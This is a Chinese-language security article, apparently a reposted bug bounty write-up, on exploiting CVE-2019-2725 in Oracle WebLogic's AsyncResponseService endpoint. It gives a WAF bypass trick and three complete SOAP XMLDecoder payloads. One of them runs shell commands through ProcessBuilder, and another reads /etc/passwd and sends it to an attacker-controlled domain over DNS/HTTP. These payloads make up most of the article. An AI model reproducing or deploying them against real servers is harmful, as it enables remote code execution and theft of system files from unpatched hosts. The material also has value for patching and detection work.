weblogic远程代码执行(利用CVE-2019-2725)

华盟原创文章投稿奖励计划

文章来源:EDI安全

Part 01

TL;DR

在本文中,我将解释用于开发CVE-2019-2725的几种技术。

Part 02

关于weblogic

Oracle WebLogic Server是Oracle Corporation当前开发的Java EE应用服务器。Oracle在2008年收购BEA Systems时收购了WebLogic Server。Wikipedia

Part 03

CVE-2019-2725

2019年4月25日,一组网络安全研究人员发布了警告,描述了Oracle WebLogic中的远程代码执行零日漏洞。此漏洞影响启用了组件wls9_async_response.war和wls-wsat.war的WebLogic版本10.X和12.1.3。可以通过将带有Java XML bean的特制SOAP请求发送到endpoint来验证该漏洞/_async/AsyncResponseService。

Part 04

细节

在对已安装weblogic的目标进行渗透测试时,我决定测试常见的weblogic CVE。目标具有/_async/AsyncResponseService可用于测试CVE-2019-2725的endpoint“ ”。我尝试做的第一件事是通过创建一个尝试连接到服务器的“ java.net.Socket”对象来验证目标是否易受攻击,并查看是否可以使用以下payload在监听器上获得任何连接:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
    <class>
        <string>java.net.Socket</string>
        <void>
            <string>rcetest.test.zombiehelp54.me</string>
            <int>80</int>
        </void>
    </class>
</java>
</work:WorkContext>   </soapenv:Header>   <soapenv:Body>      <asy:onAsyncDelivery/>   </soapenv:Body></soapenv:Envelope>

但是,由于WAF,服务器从未响应,并且从未发送过我的请求,经过更多测试,我能够通过在XMLpayload之前添加这么多的空间来绕过WAF,因为当内容出现时,WAF会忽略其余的请求数据长度太长。

之后,我确实获得了202状态的响应,但是,在endpoint80上的netcat侦听器上什么都没有得到,后来我发现防火墙也阻止了所有传出连接。然后,我决定检查DNS请求,发现DNS请求正在发送,并且在我的侦听器上收到了DNS请求

rcetest.test.zombiehelp54.me

这样说就意味着服务器很容易受到攻击,因为我能够创建一个“ java.net.Socket”对象并将其连接到我的服务器。

org.slf4j.ext.EventData类来利用它,但是从来没有提供该类的payload,但是,在阅读了org.slf4j.ext.EventData类的源代码之后,我能够构建自己的payload来执行系统命令:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
    <class>
        <string>org.slf4j.ext.EventData</string>
        <void>
            <string>
                <![CDATA[<java version="1.8" class="java.beans.XMLDecoder">
                    <void class="java.lang.ProcessBuilder">
                        <array class="java.lang.String" length="3">
                            <void index="0">
                                <string>/bin/bash</string>
                            </void>
                            <void index="1">
                                <string>-c</string>
                            </void>
                            <void index="2">
                                <string>ping "`ls | head -n 1`.hack.zombiehelp54.me"</string>
                            </void>
                        </array>
                        <void method="start" /></void>
                </java>]]>
            </string>
        </void>
    </class>
</java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

基本上,以上XML确实是它创建了一个org.slf4j.ext.EventData对象,它需要一个XML bean作为一个字符串,然后解码,并创建一个java.lang.ProcessBuilder对象出来,该后 start()方法被调用,其执行系统命令

ping "`ls | head -n 1`.hack.zombiehelp54.me"

因此有一个DNS请求ls命令的结果。

weblogic远程代码执行(利用CVE-2019-2725)

我报告了所发现的内容,然后继续在其他漏洞赏金计划中寻找相同的漏洞。另外,我发现了其他一些漏洞赏金程序,它们也很容易受到攻击,并且其中一些使用了相同的惰性WAF,当长度太长时,它会忽略请求正文。他们中的一些部署自定义修复程序不能访问java.lang.ProcessBuilder,以及java.lang.Runtime类,以防止系统命令的执行,然而,这样做更多的研究,关于“后java.beans.XMLDecoder”级和理解的语法,它可以用来创建任何类中的任何Java对象与调用函数和添加属性的能力。因此,可以对提到的易受攻击的服务器进行读写。

如此说来,我创建了一个XML bean,它读取文件“ /etc/passwd”并将其通过DNS请求发送到我的服务器:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
    <class>
        <string>org.slf4j.ext.EventData</string>
        <void>
            <string><![CDATA[
                <java>
                    <object id="file" class="java.io.FileReader">
                        <string>/etc/passwd</string>
                    </object>
                    <object id="text" class="java.io.BufferedReader">
                        <object idref="file" />
                        <void id="res" method="readLine"/>
                    </object>
                    <object idref="res">
                        <void id="res2" method="replace">
                            <string>:</string>
                            <string>-</string>
                        </void>
                    </object>
                    <object idref="res2">
                        <void id="res3" method="replace">
                            <string>/</string>
                            <string>-</string>
                        </void>
                    </object>
                    <object id="zhp" class="java.lang.String">
                        <string>http://</string>
                    </object>
                    <object idref="zhp">
                        <void id="res4" method="concat" >
                            <object idref="res3" />
                        </void>
                    </object>
                    <object idref="res4">
                        <void id="res5" method="concat" >
                            <string>.hack.zombiehelp54.me</string>
                        </void>
                    </object>
                    <object id="url" class="java.net.URL">
                        <object idref="res5" /></object>
                    <object idref="url">
                        <void id="connection" method="openConnection" />
                    </object>
                    <object idref="connection">
                        <void id="inputStream" method="getInputStream"/>
                    </object>
                </java>
            ]]></string>
        </void>
    </class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

weblogic远程代码执行(利用CVE-2019-2725)

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/275629.html

发表评论